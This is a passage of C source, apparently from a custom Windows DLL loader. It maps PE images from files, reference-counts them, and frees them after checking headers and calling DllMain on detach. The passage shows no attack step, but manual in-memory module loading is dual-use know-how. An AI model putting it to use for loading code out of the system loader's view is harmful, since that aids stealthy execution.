  889. HANDLE hfile=CreateFile(svPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  890. if(hfile==INVALID_HANDLE_VALUE) return NULL;
  892. // Create a file mapping
  893. HANDLE hmapping;
  894. hmapping=CreateFileMapping(hfile, NULL, PAGE_READONLY, 0, 0, NULL);
  896. // Close file handle since we don't need it anymore
  897. CloseHandle(hfile);
  899. // Map file mapping object to memory image
  900. void *baseaddr;
  901. baseaddr=MapViewOfFile(hmapping,FILE_MAP_READ,0,0,0);
  902. if(baseaddr==NULL) {
  903. CloseHandle(hmapping);
  904. return NULL;
  905. }
  907. // Now pass off to LoadDLLFromImage
  908. HMODULE ret;
  909. if(dwFlags & FORCE_LOAD_NEW_IMAGE) {
  910. ret=LoadDLLFromImage(baseaddr, NULL, dwFlags & ~LOAD_WITH_ALTERED_SEARCH_PATH);
  911. } else {
  912. ret=LoadDLLFromImage(baseaddr, svFilePart, dwFlags & ~LOAD_WITH_ALTERED_SEARCH_PATH);
  913. }
  916. // Close file mapping
  917. UnmapViewOfFile(baseaddr);
  918. CloseHandle(hmapping);
  920. // Return base address as an instance handle
  921. return (HMODULE) ret;
  922. }
  926. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  927. // LoadDLL()                                                                                               //
  928. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  932. HMODULE LoadDLL(LPCTSTR lpLibFileName)
  933. {
  934. return LoadDLLEx(lpLibFileName,NULL,0);
  935. }
  940. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  941. // FreeDLL()                                                                                               //
  942. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  945. BOOL FreeDLL(HMODULE hLibModule)
  946. {
  947. if(hLibModule==NULL) return FALSE;
  949. // Examine DOS Header
  950. PIMAGE_DOS_HEADER doshead;
  951. doshead=(PIMAGE_DOS_HEADER) hLibModule;
  952. if(doshead->e_magic!=IMAGE_DOS_SIGNATURE) return FALSE;
  954. // Determine File Format
  955. if(*(DWORD *)NTSIGNATURE(hLibModule) != IMAGE_NT_SIGNATURE) return FALSE;
  957. // Get PE Optional Header
  958. PIMAGE_OPTIONAL_HEADER poh;
  959. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(hLibModule);
  961. // Ensure we are an executable image, not a rom image
  962. if(poh->Magic!=0x010B) return FALSE;
  964. // Get image length
  965. DWORD dwImageSize;
  966. dwImageSize=poh->SizeOfImage;
  968. // Get from DLL table/decrease reference count
  969. DWORD dwFlags;
  970. char svName[MAX_PATH];
  971. int dllaction;
  973. dllaction=RemoveDLLReference(hLibModule,svName,&dwFlags);
  974. if(dllaction==-1) return NULL;
  976. // Call DllMain if necessary
  977. BOOL bRet;
  978. bRet=TRUE;
  980. if(!(dwFlags & (LOAD_LIBRARY_AS_DATAFILE | DONT_RESOLVE_DLL_REFERENCES))) {
  981. if(dllaction) {
  982. RunDLLMain(hLibModule,dwImageSize,DLL_DETACH);
  983. if(g_bIsWinNT) bRet=UnmapViewOfFile(hLibModule);
  984. else bRet=VirtualFree(hLibModule,0,MEM_RELEASE);
  985. }
  986. }
  988. return bRet;
  989. }